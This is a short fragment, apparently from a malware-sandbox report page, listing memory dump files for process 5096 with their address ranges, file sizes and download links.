memory/5096-138-0x0000000004DF0000-0x0000000005418000-memory.dmp

Filesize
6.2MB

Download
memory/5096-145-0x0000000006E70000-0x0000000006F06000-memory.dmp

Filesize
600KB

Download
memory/5096-146-0x0000000006E00000-0x0000000006E22000-memory.dmp

Filesize
136KB

Download
memory/5096-147-0x0000000007F70000-0x0000000008514000-memory.dmp

Filesize
5.6MB

Download
memory/5096-149-0x0000000006CC0000-0x000000000733A000-memory.dmp

Filesize
6.5MB

Download
memory/5096-135-0x0000000000000000-mapping.dmp

Download
memory/5096-151-0x0000000006CC0000-0x000000000733A000-memory.dmp

Filesize
6.5MB

Download

Analysis

Sharing